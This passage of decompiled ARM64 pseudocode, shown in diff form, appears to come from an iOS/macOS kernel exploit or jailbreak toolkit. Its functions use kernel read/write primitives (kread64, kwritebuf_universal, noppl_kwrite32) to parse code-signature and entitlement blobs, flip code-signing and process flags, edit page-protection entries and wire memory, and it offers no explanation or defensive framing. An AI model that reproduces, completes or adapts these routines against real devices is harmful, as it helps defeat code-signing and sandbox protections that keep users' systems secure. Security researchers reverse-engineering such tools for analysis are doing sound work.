// x24 + __int64 v11; // x21 + __int64 v12; // x27 + __int64 v13; // x25 + __int64 v14; // x8 + __int64 v15; // x28 + __int64 v16; // x26 + __int64 v17; // x24 + unsigned int *v18; // x0 + unsigned int *v19; // x21 + size_t v20; // x8 + unsigned __int64 v21; // x9 + unsigned __int64 v22; // x10 + size_t v23; // x23 + size_t v24; // x10 + size_t v25; // x10 + unsigned int v26; // w8 + unsigned int v27; // w27 + __int64 v28; // x28 + unsigned int *v29; // x8 + unsigned int *v30; // x22 + unsigned int v31; // w25 + __int64 v32; // x26 + _DWORD *v34; // x0 + _DWORD *v35; // x23 + int v36; // w24 + unsigned __int64 v37; // x26 + _DWORD *v39; // x0 + int v40; // w1 + __int64 v41; // x9 + __int64 v42; // x10 + unsigned int *v43; // x8 + unsigned int *v44; // x0 + unsigned int v45; // w27 + unsigned int **v46; // x11 + int v47; // w15 + unsigned int v48; // w16 + __int64 v49; // x22 + size_t v50; // x23 + char *v51; // x0 + char *v52; // x24 + unsigned int *v53; // x0 + int v54; // [xsp+8h] [xbp-A8h] + unsigned int *v55; // [xsp+10h] [xbp-A0h] + __int64 v56; // [xsp+18h] [xbp-98h] BYREF + unsigned __int64 v57; // [xsp+20h] [xbp-90h] BYREF + __int64 v58; // [xsp+28h] [xbp-88h] BYREF + __int64 v59; // [xsp+30h] [xbp-80h] BYREF + __int64 v60; // [xsp+38h] [xbp-78h] BYREF + __int64 v61; // [xsp+40h] [xbp-70h] BYREF + size_t __size; // [xsp+48h] [xbp-68h] BYREF + unsigned __int64 v63; // [xsp+50h] [xbp-60h] BYREF + int v64; // [xsp+5Ch] [xbp-54h] BYREF + + v64 = 0; + __size = 0LL; + v63 = 0LL; + v60 = 0LL; + v61 = 0LL; + v58 = 0LL; + v59 = 0LL; + v56 = 0LL; + v57 = 0LL; + if ( !a5 ) + return 0LL; + v8 = sub_2B94C(a1, a2, a3, a4, &v57); + if ( !v8 ) + return 0LL; + v9 = v8; + v10 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x30LL : 0x40LL; + v11 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x40LL : 0x50LL; + v12 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x10LL : 0x20LL; + v13 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x78LL : 0x80LL; + v14 = 0x88LL; + v15 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x80LL : 0x88LL; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + { + v16 = 0x18LL; + } + else + { + v14 = 0x90LL; + v16 = 0x28LL; + } + if ( !kread64((_DWORD *)a1, v14 + v8, &v59) + || *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL && !kread64((_DWORD *)a1, v9 + 0x98, &v58) + || !kread64((_DWORD *)a1, v13 + v9, &v61) + || !kread64((_DWORD *)a1, v15 + v9, &v60) + || !kread32_outptr(a1, v12 + v9, &v64) + || (v64 & 1) == 0 + || !kread64((_DWORD *)a1, v10 + v9, (__int64 *)&__size) + || !kread64((_DWORD *)a1, v11 + v9, (__int64 *)&v63) ) + { + return 0LL; + } + v17 = 0LL; + if ( v63 && __size ) + { + if ( (unsigned int)kreadbuf_last_1(a1, v16 + v9, 8LL, (__int64)&v56) ) + { + v18 = (unsigned int *)malloc(__size); + if ( v18 ) + { + v19 = v18; + *(_QWORD *)(a5 + 0x60) = 0LL; + *(_OWORD *)(a5 + 0x40) = 0u; + *(_OWORD *)(a5 + 0x50) = 0u; + *(_OWORD *)(a5 + 0x20) = 0u; + *(_OWORD *)(a5 + 0x30) = 0u; + *(_OWORD *)a5 = 0u; + *(_OWORD *)(a5 + 0x10) = 0u; + if ( !(unsigned int)kreadbuf_last_1(a1, v63, __size, (__int64)v18) ) + goto LABEL_110; + *(_DWORD *)a5 = v64; + v20 = __size; + v21 = v63; + *(_QWORD *)(a5 + 8) = v9; + *(_QWORD *)(a5 + 0x10) = v20; + v22 = v57; + *(_QWORD *)(a5 + 0x18) = v21; + *(_QWORD *)(a5 + 0x20) = v22; + *(_QWORD *)(a5 + 0x28) = v56; + *(_DWORD *)(a5 + 0x44) = a2; + v23 = v61 ? (unsigned int)(v61 - v21) : 0LL; + *(_DWORD *)(a5 + 0x4C) = v23; + if ( v20 <= v23 ) + goto LABEL_110; + v24 = v60 ? (unsigned int)(v60 - v21) : 0LL; + *(_DWORD *)(a5 + 0x50) = v24; + if ( (_DWORD)v24 ) + { + if ( v20 <= v24 && ((*(_DWORD *)a1 & 0x5584001) != 0 || *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL) ) + goto LABEL_110; + } + v25 = v59 ? (unsigned int)(v59 - v21) : 0LL; + *(_DWORD *)(a5 + 0x54) = v25; + if ( (_DWORD)v25 ) + { + if ( v20 <= v25 ) + goto LABEL_110; + } + LODWORD(v21) = v58 - v21; + v21 = v58 ? (unsigned int)v21 : 0LL; + *(_DWORD *)(a5 + 0x58) = v21; + if ( (_DWORD)v21 ) + { + if ( v20 <= v21 ) + goto LABEL_110; + } + if ( *v19 == 0x20CDEFA ) + { + v55 = (unsigned int *)sub_326D0(); + if ( !v55 ) + goto LABEL_110; + v39 = sub_2F980(v19); + if ( v39 ) + { + v35 = v39; + if ( (unsigned int)sub_32650(v55, 0, (__int64)v39) != 0xFFFFFFFF ) + { + LODWORD(v37) = 0; + v40 = 0; + *(_DWORD *)(a5 + 0x30) = 1; + *(_QWORD *)(a5 + 0x38) = v55; + *(_DWORD *)(a5 + 0x40) = 0; +LABEL_104: + *(_DWORD *)(a5 + 0x5C) = v37; + v53 = sub_2C9B0(a5, v40, 0xFADE0C02); + if ( v53 ) + { + *(_DWORD *)(a5 + 0x48) = *((unsigned __int8 *)v53 + 0x24); + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL + || !sub_2C9B0(a5, 7, 0xFADE7172) + || sub_2C9B0(a5, 5, 0xFADE7171) + || (unsigned int)sub_2D3F8(a5, 5u, 0xFADE7171) ) + { + v17 = 1LL; +LABEL_111: + free(v19); + return v17; + } + } +LABEL_110: + sub_2CB54(a5); + v17 = 0LL; + goto LABEL_111; + } +LABEL_83: + sub_2F9D4(v35); + } + } + else + { + if ( *v19 != 0xC00CDEFA ) + goto LABEL_110; + v55 = (unsigned int *)sub_326D0(); + if ( !v55 ) + goto LABEL_110; + v54 = v23; + v26 = v19[2]; + if ( v26 ) + { + v27 = 0; + v28 = bswap32(v26); + v29 = v19 + 4; + while ( 1 ) + { + v30 = v29; + v31 = v29[0xFFFFFFFF]; + v32 = bswap32(*v29); + if ( (unsigned int)v32 < v27 || v27 == 0 ) + v27 = v32; + v34 = sub_2F980((unsigned int *)((char *)v19 + v32)); + if ( !v34 ) + goto LABEL_84; + v35 = v34; + v36 = bswap32(v31); + if ( (unsigned int)sub_32650(v55, v36, (__int64)v34) == 0xFFFFFFFF ) + goto LABEL_83; + if ( *v35 == 0x20CDEFA ) + { + if ( v54 ) + { + if ( (_DWORD)v32 != v54 ) + goto LABEL_75; + goto LABEL_74; + } + if ( !v31 ) + { + v36 = 0; +LABEL_74: + *(_DWORD *)(a5 + 0x40) = v36; + } + } +LABEL_75: + v29 = v30 + 2; + if ( !--v28 ) + { + v37 = ((unsigned __int64)v27 + 0x7FFFFFFF4LL) >> 3; + goto LABEL_86; + } + } + } + LODWORD(v37) = 0xFFFFFFFE; +LABEL_86: + v40 = *(_DWORD *)(a5 + 0x40); + v41 = *v55; + if ( !(_DWORD)v41 ) + goto LABEL_103; + v42 = 0LL; + v43 = 0LL; + v44 = 0LL; + v45 = 0; + v46 = (unsigned int **)(*((_QWORD *)v55 + 1) + 8LL); + do + { + v47 = *((_DWORD *)v46 + 0xFFFFFFFE); + v48 = bswap32(**v46); + if ( v48 == 0xFADE0C02 ) + { + if ( v47 == v40 ) + v43 = *v46; + } + else if ( v48 == 0xFADE7171 && v47 == 5 ) + { + v45 = v42; + v44 = *v46; + } + ++v42; + v46 += 2; + } + while ( v41 != v42 ); + if ( !v44 ) + goto LABEL_103; + v49 = bswap32(v44[1]); + if ( !v43 || (v50 = v43[0xA], !(_DWORD)v50) || (v50 & 0x3FFF) != 0 ) + v50 = v49 + 1; + v51 = (char *)realloc(v44, v50); + if ( v51 ) + { + v52 = v51; + bzero(&v51[v49], v50 - v49); + *(_QWORD *)(*((_QWORD *)v55 + 1) + 0x10LL * v45 + 8) = v52; + v40 = *(_DWORD *)(a5 + 0x40); +LABEL_103: + *(_DWORD *)(a5 + 0x30) = 1; + *(_QWORD *)(a5 + 0x38) = v55; + goto LABEL_104; + } + } +LABEL_84: + sub_325DC(v55); + goto LABEL_110; + } + } + return 0LL; + } + return v17; +} + +//----- (000000000002EB4C) ---------------------------------------------------- +__int64 __fastcall sub_2EB4C(_DWORD *a1, unsigned int a2, unsigned __int64 a3, bool *a4) +{ + __int64 result; // x0 + int v7; // w8 + int v9; // w21 + int v12; // [xsp+Ch] [xbp-24h] BYREF + + result = 0LL; + v12 = 0; + v7 = a1[0x50]; + if ( v7 <= 0x2257 ) + { + if ( (unsigned int)(v7 - 0x1F53) >= 2 ) + { + if ( v7 != 0x1809 && v7 != 0x1C1B ) + return result; + v9 = 0x20000; +LABEL_18: + result = sub_33B98(a1, a2, a3); + if ( result ) + { + result = kreadbuf_last_1((__int64)a1, result + 0x48, 4LL, (__int64)&v12); + if ( (_DWORD)result ) + { + *a4 = (v12 & v9) != 0; + return 1LL; + } + } + return result; + } +LABEL_17: + v9 = 0x80000; + goto LABEL_18; + } + if ( v7 == 0x2258 || v7 == 0x2712 || v7 == 0x225C ) + goto LABEL_17; + return result; +} + +//----- (000000000002EC1C) ---------------------------------------------------- +__int64 __fastcall sub_2EC1C(_DWORD *a1, unsigned int a2, unsigned __int64 a3, int a4) +{ + __int64 result; // x0 + int v7; // w8 + int v9; // w22 + __int64 v12; // x21 + int v13; // w8 + int v14; // [xsp+Ch] [xbp-24h] BYREF + + result = 0LL; + v14 = 0; + v7 = a1[0x50]; + if ( v7 > 0x2257 ) + { + if ( v7 != 0x2258 && v7 != 0x2712 && v7 != 0x225C ) + return result; + } + else if ( (unsigned int)(v7 - 0x1F53) >= 2 ) + { + if ( v7 != 0x1809 && v7 != 0x1C1B ) + return result; + v9 = 0x20000; + goto LABEL_18; + } + v9 = 0x80000; +LABEL_18: + result = sub_33B98(a1, a2, a3); + if ( result ) + { + v12 = result + 0x48; + result = kreadbuf_last_1((__int64)a1, result + 0x48, 4LL, (__int64)&v14); + if ( (_DWORD)result ) + { + if ( a4 ) + v13 = v14 | v9; + else + v13 = v14 & ~v9; + v14 = v13; + return (unsigned int)kwritebuf_last_1((__int64)a1, v12, (__int64)&v14, 4LL) != 0; + } + } + return result; +} + +//----- (000000000002ED14) ---------------------------------------------------- +__int64 __fastcall sub_2ED14( + __int64 a1, + unsigned int a2, + unsigned __int64 a3, + mach_vm_size_t a4, + vm_prot_t a5, + int a6, + int a7) +{ + __int64 result; // x0 + int v15; // w27 + unsigned __int64 v16; // x19 + int v17; // w8 + int v18; // w9 + unsigned int v19; // w8 + unsigned __int64 v20; // x0 + __int64 v22; // x19 + unsigned __int64 v23; // x23 + unsigned __int64 v24; // x8 + unsigned __int64 v25; // x8 + size_t v26; // x25 + _QWORD *v27; // x27 + char v28; // w26 + __int64 v29; // x19 + int v31; // w2 + unsigned __int64 v32; // x0 + __int64 v33; // x8 + __int64 v34; // x9 + mach_vm_size_t v35; // x28 + mach_port_t v36; // w26 + unsigned __int64 v37; // x25 + mach_vm_address_t *v38; // x19 + _DWORD *v39; // x2 + unsigned __int64 v40; // x0 + unsigned __int64 v41; // x23 + _BOOL4 v42; // w0 + __int64 v43; // x8 + int v45; // w9 + __int64 v46; // x23 + kern_return_t v47; // w0 + __int64 v48; // x19 + mach_vm_address_t *v49; // x25 + mach_vm_address_t v50; // t1 + unsigned __int64 v51; // [xsp+10h] [xbp-130h] + int v52; // [xsp+10h] [xbp-130h] + vm_prot_t desired_access; // [xsp+18h] [xbp-128h] + vm_prot_t desired_accessa; // [xsp+18h] [xbp-128h] + int v55; // [xsp+1Ch] [xbp-124h] + int v56; // [xsp+1Ch] [xbp-124h] + unsigned int v57; // [xsp+20h] [xbp-120h] + int v58; // [xsp+24h] [xbp-11Ch] + unsigned __int64 v59; // [xsp+28h] [xbp-118h] + unsigned __int64 v60; // [xsp+30h] [xbp-110h] BYREF + mach_vm_address_t v61; // [xsp+38h] [xbp-108h] BYREF + unsigned __int64 v62; // [xsp+40h] [xbp-100h] BYREF + __int64 v63; // [xsp+48h] [xbp-F8h] BYREF + mach_vm_address_t address[2]; // [xsp+50h] [xbp-F0h] BYREF + __int128 v65; // [xsp+60h] [xbp-E0h] + __int128 v66; // [xsp+70h] [xbp-D0h] + __int128 v67; // [xsp+80h] [xbp-C0h] + __int128 v68; // [xsp+90h] [xbp-B0h] + __int128 v69; // [xsp+A0h] [xbp-A0h] + __int128 v70; // [xsp+B0h] [xbp-90h] + __int128 v71; // [xsp+C0h] [xbp-80h] + _DWORD v72[2]; // [xsp+D8h] [xbp-68h] BYREF + + result = sub_2DC40(a1, a2); + if ( (_DWORD)result ) + { + if ( !a4 ) + return 1LL; + result = sub_1F148(a2); + if ( (_DWORD)result ) + { + v15 = result; + result = sub_33D38(a1, a2, a3, &v60); + if ( result ) + { + v16 = result; + result = 0LL; + v17 = *(_DWORD *)(a1 + 0x140); + if ( v17 > 0x2257 ) + { + if ( v17 != 0x2258 && v17 != 0x2712 ) + { + v18 = 0x225C; +LABEL_12: + if ( v17 != v18 ) + return result; + } + } + else if ( (unsigned int)(v17 - 0x1F53) >= 2 ) + { + if ( v17 == 0x1809 ) + { + v58 = 0x40000; + v19 = 0xFFF7FEFF; +LABEL_14: + v57 = v19; + result = kread64((_DWORD *)a1, v16, (__int64 *)&v61); + if ( (_DWORD)result ) + { + v59 = v16; + if ( !*(_QWORD *)(a1 + 0x1F0) ) + { + v52 = a7; + v56 = a6; + v70 = 0u; + v71 = 0u; + v68 = 0u; + v69 = 0u; + v66 = 0u; + v67 = 0u; + *(_OWORD *)address = 0u; + v65 = 0u; + v35 = vm_page_size; + v36 = mach_task_self_; + if ( mach_vm_allocate(mach_task_self_, address, vm_page_size, 9) ) + return 0LL; + desired_accessa = a5; + v37 = 0LL; + v38 = &address[1]; + while ( 1 ) + { + v39 = (_DWORD *)v38[0xFFFFFFFF]; + *v39 = 0; + v40 = sub_33D38(a1, v36, (unsigned __int64)v39, &v62); + if ( v40 ) + { + v41 = v40; + if ( (unsigned int)kreadbuf_last_1(a1, v40, 8LL, (__int64)v72) ) + { + v42 = kread64((_DWORD *)a1, v41 + 0x20, &v63); + v43 = v63; + if ( v42 && v63 != 0 ) + { + v45 = v72[0]; + if ( (v72[0] & 0x80000000) != 0 && v72[0] == v72[1] ) + { + *(_DWORD *)(a1 + 0x1F8) = 0x30; + *(_QWORD *)(a1 + 0x1F0) = v43 - (unsigned int)(0x30 * v45); + } + } + } + } + v46 = *(_QWORD *)(a1 + 0x1F0); + if ( v37 > 0xE || v46 ) + break; + v47 = mach_vm_allocate(v36, v38++, v35, 9); + ++v37; + if ( v47 ) + goto LABEL_68; + } + LODWORD(v37) = v37 + 1; +LABEL_68: + v48 = (unsigned int)v37; + v49 = address; + a6 = v56; + do + { + v50 = *v49++; + mach_vm_deallocate(mach_task_self_, v50, v35); + --v48; + } + while ( v48 ); + a5 = desired_accessa; + a7 = v52; + if ( !v46 ) + return 0LL; + } + v20 = sub_2A190(a1, v61); + v61 = v20; + if ( !v20 || v20 == v59 ) + { + return 0LL; + } + else + { + v22 = v20; + desired_access = a5; + v23 = v15; + v24 = a4 % v15; + if ( v24 ) + v25 = v15 - v24; + else + v25 = 0LL; + v51 = v25 + a4; + v26 = (v25 + a4) / v15; + result = (__int64)calloc(v26, 8uLL); + if ( result ) + { + v27 = (_QWORD *)result; + v55 = a6; + v28 = 0; + do + { + if ( !(unsigned int)kreadbuf_last_1(a1, v22, 0x30LL, (__int64)address) ) + goto LABEL_66; + if ( (v28 & 1) != 0 ) + { + if ( (_DWORD)v63 != (_DWORD)v66 ) + goto LABEL_66; + } + else + { + LODWORD(v63) = v66; + } + v29 = *((_QWORD *)&v65 + 1); + if ( *((_QWORD *)&v65 + 1) >= v60 && *((_QWORD *)&v65 + 1) < v60 + a4 ) + { + if ( (WORD6(v66) & 0x140) == 0 ) + goto LABEL_66; + v31 = a7 ? HIDWORD(v66) & ~v58 : HIDWORD(v66) & v57 | v58; + if ( !noppl_kwrite32(a1, v61 + 0x2C, v31) ) + goto LABEL_66; + v27[(v29 - v60) / v23] = v61; + } + v61 = address[1]; + v32 = sub_2A190(a1, address[1]); + v61 = v32; + if ( !v32 ) + goto LABEL_66; + v22 = v32; + v28 = 1; + } + while ( v59 != v32 ); + if ( v51 >= v23 ) + { + v33 = 0LL; + v34 = v26; + if ( v26 <= 1 ) + v34 = 1LL; + while ( v27[v33] ) + { + if ( ++v33 == v34 ) + goto LABEL_47; + } +LABEL_66: + free(v27); + return 0LL; + } +LABEL_47: + free(v27); + if ( !v55 ) + return 1LL; + return mach_vm_wire(*(_DWORD *)(a1 + 0x1920), a2, a3, a4, desired_access) == 0; + } + } + } + return result; + } + v18 = 0x1C1B; + goto LABEL_12; + } + v58 = 0x3C0000; + v19 = 0xFC3FFEFF; + goto LABEL_14; + } + } + } + return result; +} + +//----- (000000000002F194) ---------------------------------------------------- +bool __fastcall sub_2F194(__int64 a1, unsigned int a2, int a3, int a4) +{ + unsigned int *v7; // x0 + _BOOL8 v8; // x19 + unsigned __int64 v10; // x9 + __int64 v11; // x8 + unsigned __int64 v12; // x10 + __int64 v13; // x11 + unsigned __int64 v14; // x8 + _BYTE v15[104]; // [xsp+8h] [xbp-88h] BYREF + + if ( !(unsigned int)sub_2C2F8(a1, a2, (__int64)v15) ) + return 0LL; + v7 = sub_2C9B0((__int64)v15, 0, 0xFADE0C02); + if ( v7 && bswap32(v7[2]) >> 0xA >= 0x81 ) + { + v10 = *((_QWORD *)v7 + 0xA); + v11 = 0x10LL; + if ( !a3 ) + v11 = 0LL; + v12 = bswap64(v10 & 0xAFFFFFFFFFFFFFFFLL); + v13 = 0x40LL; + if ( !a4 ) + v13 = 0LL; + v14 = v13 | v11 | v12; + if ( v14 == bswap64(v10) ) + { + v8 = 1LL; + goto LABEL_5; + } + *((_QWORD *)v7 + 0xA) = bswap64(v14); + if ( (unsigned int)sub_2CA2C((__int64)v15, 0, v7) ) + { + v8 = (unsigned int)sub_2CA80(a1, (__int64)v15) != 0; + goto LABEL_5; + } + } + v8 = 0LL; +LABEL_5: + sub_2CB54((__int64)v15); + return v8; +} + +//----- (000000000002F294) ---------------------------------------------------- +__int64 __fastcall sub_2F294(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + _BYTE v3[104]; // [xsp+8h] [xbp-68h] BYREF + + result = sub_2C2F8(a1, a2, (__int64)v3); + if ( (_DWORD)result ) + { + sub_2CB54((__int64)v3); + return 1LL; + } + return result; +} + +//----- (000000000002F2C8) ---------------------------------------------------- +unsigned __int64 sub_2F2C8() +{ + __int64 v0; // x0 + __int64 v1; // x2 + __int64 v2; // x19 + unsigned int v3; // w1 + unsigned int v4; // w21 + __int64 v5; // x20 + unsigned __int64 result; // x0 + unsigned __int64 v7; // x22 + _BOOL4 v9; // w8 + __int64 v10; // x1 + __int64 *v11; // x28 + __int64 v12; // x2 + unsigned __int64 v13; // x8 + char *v14; // x9 + __int64 v15; // x9 + __int64 v16; // x21 + int v17; // w0 + __int64 v18; // x23 + int v19; // w21 + char *v20; // x21 + bool v21; // zf + _BOOL4 v22; // w0 + unsigned int v23; // w8 + unsigned __int64 v24; // x24 + char *v25; // x27 + char *v26; // x28 + __int64 v27; // x8 + __int64 v28; // x24 + unsigned __int64 v29; // x23 + unsigned __int64 v30; // x24 + __int64 v31; // x9 + __int64 v32; // x10 + unsigned __int64 *v33; // x2 + _QWORD *v34; // x0 + unsigned __int64 v35; // x1 + __int64 v36; // x3 + __int64 *v37; // [xsp+10h] [xbp-11F0h] + int v38; // [xsp+18h] [xbp-11E8h] + int v39; // [xsp+1Ch] [xbp-11E4h] + unsigned __int64 v40; // [xsp+20h] [xbp-11E0h] + __int64 v41; // [xsp+28h] [xbp-11D8h] BYREF + unsigned int v42; // [xsp+30h] [xbp-11D0h] BYREF + unsigned int v43; // [xsp+34h] [xbp-11CCh] BYREF + unsigned __int64 v44; // [xsp+38h] [xbp-11C8h] BYREF + __int64 v45; // [xsp+40h] [xbp-11C0h] BYREF + unsigned __int64 v46; // [xsp+48h] [xbp-11B8h] BYREF + __int64 v47; // [xsp+50h] [xbp-11B0h] BYREF + __int64 v48; // [xsp+58h] [xbp-11A8h] BYREF + __int64 v49; // [xsp+60h] [xbp-11A0h] BYREF + int v50; // [xsp+6Ch] [xbp-1194h] BYREF + _BYTE v51[4]; // [xsp+70h] [xbp-1190h] BYREF + int __fd; // [xsp+74h] [xbp-118Ch] BYREF + __int64 v53; // [xsp+78h] [xbp-1188h] BYREF + mach_vm_address_t v54; // [xsp+80h] [xbp-1180h] BYREF + unsigned __int64 v55; // [xsp+88h] [xbp-1178h] BYREF + __int128 v56; // [xsp+90h] [xbp-1170h] BYREF + _OWORD v57[11]; // [xsp+A0h] [xbp-1160h] BYREF + __int64 v58; // [xsp+150h] [xbp-10B0h] + _QWORD v59[7]; // [xsp+160h] [xbp-10A0h] BYREF + _BYTE v60[20]; // [xsp+198h] [xbp-1068h] BYREF + unsigned int v61; // [xsp+1ACh] [xbp-1054h] + __int64 v62; // [xsp+1B8h] [xbp-1048h] BYREF + + v0 = __chkstk_darwin(); + v2 = v1; + v4 = v3; + v5 = v0; + v47 = 0LL; + v48 = 0LL; + v45 = 0LL; + v46 = 0LL; + v44 = 0LL; + result = sub_33E8C(v0, v3); + if ( result ) + { + v7 = result; + result = sub_2BBA4(v5, (int *)&v48 + 1, (int *)&v48); + if ( (_DWORD)result ) + { + if ( !kread64((_DWORD *)v5, v7 + HIDWORD(v48), &v47) || v47 == 0 ) + return 0LL; + result = sub_2E4E0((_DWORD *)v5, v4, &v46); + if ( !(_DWORD)result ) + return result; + result = sub_2BC80(v5, &v43, &v42); + if ( !(_DWORD)result ) + return result; + result = kread64((_DWORD *)v5, v47 + v43, &v45); + if ( !(_DWORD)result ) + return result; + if ( !v45 ) + return 0LL; + v9 = kread64((_DWORD *)v5, v45 + v42, (__int64 *)&v44); + result = 0LL; + if ( v9 ) + { + v10 = v44; + if ( v44 ) + { + v11 = &v62; + while ( 1 ) + { + v58 = 0LL; + memset(&v57[1], 0, 0xA0); + v12 = *(_QWORD *)(v5 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x30LL : 0x40LL; + v56 = 0uLL; + v57[0] = 0uLL; + if ( !(unsigned int)kreadbuf_last_1(v5, v10, v12, (__int64)&v56) ) + break; + v13 = *(_QWORD *)(v5 + 0x158); + v14 = (char *)&v57[1] + 8; + if ( v13 <= 0x1F530F027FFFFFLL ) + v14 = (char *)v57 + 8; + if ( !(*(_QWORD *)v14 >> 0x1D) ) + { + v15 = 0x90LL; + if ( v13 > 0x1C1B19145FFFFFLL ) + v15 = 0x98LL; + if ( v13 > 0x1F52FFFFFFFFFFLL ) + v15 = 0xA8LL; + if ( v13 <= 0x1F530F027FFFFFLL ) + v16 = v15; + else + v16 = 0xA0LL; + if ( !kread64((_DWORD *)v5, v44 + v16, &v41) ) + break; + if ( v41 && (v2 == 0 || v41 == v2) ) + { + if ( !validate_addr(v5, v41) ) + break; + sub_2A63C(v5, v44 + v16, 0LL); + if ( !v17 ) + break; + if ( *(_QWORD *)(v5 + 0x158) > 0x1F52FFFFFFFFFFuLL ) + { + v40 = v44; + v18 = v46; + v54 = 0LL; + v55 = v46; + v53 = 0LL; + __fd = 0xFFFFFFFF; + if ( !(unsigned int)sub_31B90(v5, v47, &v54, &v53, &__fd) + || (v19 = __fd, (unsigned int)sub_3272C(__fd, (__int64)v60, 0x1000uLL, v18)) ) + { + v20 = 0LL; + v39 = 0; + goto LABEL_39; + } + v38 = v19; + v23 = v61; + v24 = v61 + 0x20; + if ( (unsigned int)v24 <= 0x1000 ) + { + v20 = 0LL; + v37 = v11; + v25 = (char *)v11; + } + else + { + v20 = (char *)malloc(v61 + 0x20); + if ( !v20 || (unsigned int)sub_3272C(v38, (__int64)v20, v24, v18) ) + { + v39 = 0; + goto LABEL_39; + } + v37 = v11; + v25 = v20 + 0x20; + v23 = *((_DWORD *)v20 + 5); + } + v26 = &v25[v23]; + if ( v25 >= v26 ) + { + v39 = 0; +LABEL_74: + v11 = v37; +LABEL_39: + if ( v54 ) + v21 = v53 == 0; + else + v21 = 1; + if ( !v21 ) + kwrite64(v5, v54, v53); + if ( __fd != 0xFFFFFFFF ) + close(__fd); + if ( v20 ) + free(v20); + if ( !v39 ) + break; + goto LABEL_49; + } + v39 = 0; + while ( 2 ) + { + if ( *(_DWORD *)v25 == 0x1D ) + { + v50 = 0xE; + v49 = 0x7F00000000000000LL; + v27 = 8LL; + if ( *(_QWORD *)(v5 + 0x158) <= 0x1F530F027FFFFFuLL ) + { + v28 = 0x18LL; + } + else + { + v27 = 0x18LL; + v28 = 0x28LL; + } + v29 = v27 + v40; + if ( (unsigned int)kreadbuf_last_1(v5, v27 + v40, 4LL, (__int64)v51) ) + { + if ( (unsigned int)kwritebuf_universal((_QWORD *)v5, v29, (__int64)&v50, 4LL) ) + { + v30 = v28 + v40; + if ( (unsigned int)kwritebuf_universal((_QWORD *)v5, v30, (__int64)&v49, 8LL) ) + { + v31 = *((unsigned int *)v25 + 2); + v32 = *((unsigned int *)v25 + 3); + v59[0] = v55; + v59[1] = v31; + v59[2] = v32; + if ( fcntl(v38, 0x3D, v59) ) + { + kwritebuf_universal((_QWORD *)v5, v29, (__int64)v51, 4LL); + v33 = &v55; + v34 = (_QWORD *)v5; + v35 = v30; + v36 = 8LL; + goto LABEL_69; + } + v39 = 1; + } + else + { + v33 = (unsigned __int64 *)v51; + v34 = (_QWORD *)v5; + v35 = v29; + v36 = 4LL; +LABEL_69: + kwritebuf_universal(v34, v35, (__int64)v33, v36); + } + } + } + } + v25 += *((unsigned int *)v25 + 1); + if ( v25 >= v26 ) + goto LABEL_74; + continue; + } + } + } + } +LABEL_49: + v22 = kread64((_DWORD *)v5, v44, (__int64 *)&v44); + v10 = v44; + if ( !v22 || !v44 ) + return v10 == 0; + } + v10 = v44; + return v10 == 0; + } + } + } + } + return result; +} +// 2F300: variable 'v1' is possibly undefined +// 2F304: variable 'v3' is possibly undefined +// 2F4FC: variable 'v17' is possibly undefined +// 48940: using guessed type __int64 __chkstk_darwin(void); + +//----- (000000000002F7BC) ---------------------------------------------------- +__int64 __fastcall sub_2F7BC(_DWORD *a1, int a2) +{ + __int64 result; // x0 + unsigned __int64 v5; // x20 + int v6; // w0 + unsigned int v7; // [xsp+8h] [xbp-28h] BYREF + unsigned int v8; // [xsp+Ch] [xbp-24h] BYREF + __int64 v9; // [xsp+10h] [xbp-20h] BYREF + __int64 v10; // [xsp+18h] [xbp-18h] BYREF + + v9 = 0LL; + v10 = 0LL; + result = sub_2BC80((__int64)a1, &v8, &v7); + if ( (_DWORD)result ) + { + if ( (unsigned int)sub_35938(a1, a2, &v10) ) + { + return 0LL; + } + else + { + result = kread64(a1, v10 + v8, &v10); + if ( (_DWORD)result ) + { + result = validate_addr((__int64)a1, v10); + if ( result ) + { + v5 = v10 + v7; + result = kread64(a1, v5, &v9); + if ( (_DWORD)result ) + { + if ( v9 ) + { + result = validate_addr((__int64)a1, v9); + if ( result ) + { + sub_2A63C((__int64)a1, v5, 0LL); + return v6 != 0; + } + } + else + { + return 1LL; + } + } + } + } + } + } + return result; +} +// 2F888: variable 'v6' is possibly undefined + +//----- (000000000002F898) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2F898(_DWORD *a1, unsigned int a2, __int64 a3) +{ + unsigned __int64 result; // x0 + unsigned __int64 v6; // x21 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + v7 = 0LL; + result = sub_32D6C((__int64)a1, a2); + if ( result ) + { + result = sub_329B8((__int64)a1, result); + if ( result ) + { + v6 = result; + result = kread64(a1, result, &v7); + if ( (_DWORD)result ) + { + if ( (v7 & 4) != 0 ) + return 1LL; + v7 |= a3 & 0xFFFFFFFFFFFFF000LL | 4; + result = sub_288A4((__int64)a1, v6, v7); + if ( (_DWORD)result ) + return 1LL; + } + } + } + return result; +} + +//----- (000000000002F92C) ---------------------------------------------------- +__int64 __fastcall sub_2F92C(__int64 result, int a2, int a3) +{ + unsigned int *v3; // x9 + __int64 v4; // x8 + + if ( result ) + { + if ( *(_DWORD *)(result + 0x30) == 1 && (v3 = *(unsigned int **)(result + 0x38), v4 = *v3, (_DWORD)v4) ) + { + for ( result = *((_QWORD *)v3 + 1); + *(_DWORD *)result != a2 || bswap32(**(_DWORD **)(result + 8)) != a3; + result += 0x10LL ) + { + if ( !--v4 ) + return 0LL; + } + } + else + { + return 0LL; + } + } + return result; +} + +//----- (000000000002F980) ---------------------------------------------------- +void *__fastcall sub_2F980(unsigned int *a1) +{ + size_t v2; // x21 + void *v3; // x0 + void *v4; // x19 + + v2 = bswap32(a1[1]); + v3 = malloc(v2); + v4 = v3; + if ( v3 ) + memcpy(v3, a1, v2); + return v4; +} + +//----- (000000000002F9D4) ---------------------------------------------------- +void __fastcall sub_2F9D4(_DWORD *a1) +{ + unsigned int v2; // w8 + __int64 vars8; // 